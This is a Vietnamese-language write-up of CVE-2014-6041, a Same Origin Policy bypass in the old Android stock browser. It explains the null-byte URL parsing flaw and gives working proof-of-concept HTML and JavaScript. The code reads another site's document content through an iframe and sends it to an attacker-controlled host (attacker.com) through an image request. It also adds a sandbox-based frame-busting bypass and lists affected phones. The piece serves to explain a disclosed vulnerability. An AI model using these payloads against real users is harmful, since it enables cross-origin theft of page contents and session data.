Khai thác lỗ hổng CVE-2014-6041 vượt qua chính sách SOP trong trình duyệt Android

Same Origin Policy

Same Origin Policy (SOP) là một trong những cơ chế bảo mật quan trọng nhất được áp dụng trong các trình duyệt hiện đại, ý tưởng cơ bản của SOP là việc JavaScript từ một nguồn (tên miền) không được phép truy cập các thuộc tính của một trang web có nguồn khác. SOP xác thực dựa trên sự kết hợp của phương thức, tên miền và cổng  giao tiếp(cổng là ngoại lệ đối với trình duyệt IE). Có một số trường hợp ngoại lệ vẫn được phép truy cập vào các tài nguyên từ nguồn khác. Tuy nhiên, nguyên tắc cơ bản là nguồn khác nhau không thể truy cập vào thuộc tính của nhau.

Cách vượt qua SOP

Vượt qua một SOP tức là bằng cách nào có Javascript của một sitea.com có thể truy cập vào các thuộc tính của siteb.com như cookies, vị trí, tài nguyên… Do bản chất của vấn đề và khả năng tác động, trình duyệt có mô hình rất nghiêm ngặt, việc vượt qua SOP hiếm khi được tìm thấy trong các trình duyệt hiện nay. Tuy nhiên, gần đây chúng được tìm thấy một lần nữa trên các thiết bị android. Tôi sẽ viết lại các writeup sau đây mô tả thủ thuật vượt qua lỗ hổng SOP trên điện thoại Qmobile Noir A20, chạy trình duyệt Android 4.2.1 và sau đó chứng thực rằng Sony Xperia Tipo, Samsung Galaxy, HTC Wildfire, Motrorolla… cũng bị ảnh hưởng. Vấn đề này xảy ra do xử lý nullbytes và Parse URL không chính xác.

Đoạn script bị lỗi:

<iframe name="test" src="http://www.rhainfosec.com"></iframe>
 <input type=button value="test"
 onclick="window.open('\u0000javascript:alert(document.domain)','test')" >

Như bạn có thể thấy, đoạn mã trên cố gắng truy cập vào thuộc tính document.domain của một trang web được tải vào một iframe. Nếu bạn chạy POC tại attacker.com trên bất kỳ trình duyệt hiện tại nào, nó sẽ trả về một lỗi tương tự  attacker.com không thể truy cập vào thuộc tính document.domain của rhainfosec.com.

Một iFrame có nguồn “http://jsbin.com” không truy cập vào một IFrame có nguồn “http://www.rhainfosec.com”. Các thông tin về giao thức, miền và các cổng phải tương thích với nhau.

Tuy nhiên, khi chạy nó trên bất kỳ trình duyệt mặc định nào của smartphone có phiên bản bị lỗi, cảnh báo thuộc tính document.domain chỉ ra rằng SOP đã không thể hạn chế quyền truy cập vào thuộc tính document.domain của trang từ một nguồn khác.

Samsung Galaxy S3

Bằng một vài thủ thuật đơn giản, ta chỉnh sửa lại đoạn script để có thể đọc và lấy được các thông tin mà mình đã nhận được.

Đọc response

Bằng cách sử dụng thuộc tính document.body.innerHTML, bạn có thể đọc được các response trả về của bất kì trang web nào.

<iframe name=”test” src=”http://www.rhainfosec.com”></iframe>
<input type=button value=”test”
onclick=”window.open(‘\u0000javascript:alert(document.body.innerHTML)’,’test’)” >

Đọc các response và gửi nó tới một tên miền tùy ý

Bằng cách chỉnh sửa mã khai thác một chút, hacker có thể điều khiển và gửi lại các response tới một tên miền mà hacker kiểm soát

<iframe name=”test” src=”http://www.rhainfosec.com”></iframe>
<input type=button value=”test”
onclick=”window.open(‘\u0000javascript:var i=new Image();i.src=’//attacker.com?’+document.body.innerHTML;document.body.appendChild(i);’,’test’)” >

Bypass Frame Busting

Rất nhiều trang web vẫn sử dụng mã iFrame busting để chặn các trang web và do đó chúng ta chỉ có thể vượt qua SOP khi các trang web có thể được đưa vào các iFrame. Trong trường hợp các trang web sử dụng một mã frame busting, chúng ta có thể vượt qua nó bằng cách sử dụng thuộc tính sandbox là một phần của kỹ thuật HTML5.

<iframe name=”test” src=”http://www.rhainfosec.com” sandbox></iframe>
<input type=button value=”test”
onclick=”window.open(‘\u0000javascript:var i=new Image();i.src=’//attacker.com?’+document.body.innerHTML;document.body.appendChild(i);’,’test’)” >

Các phiên bản bị ảnh hưởng

Mẫu khai thác được thực hiện thử nghiệm trên trình duyệt Android 4.2.1 (Qmobile) và sau đó được thử nghiệm lại thành công trên các dòng điện thoại khác như Galaxy S3, HTC wildfire, Sony Xperia, Qmobile…


Bình luận

Từ khóa: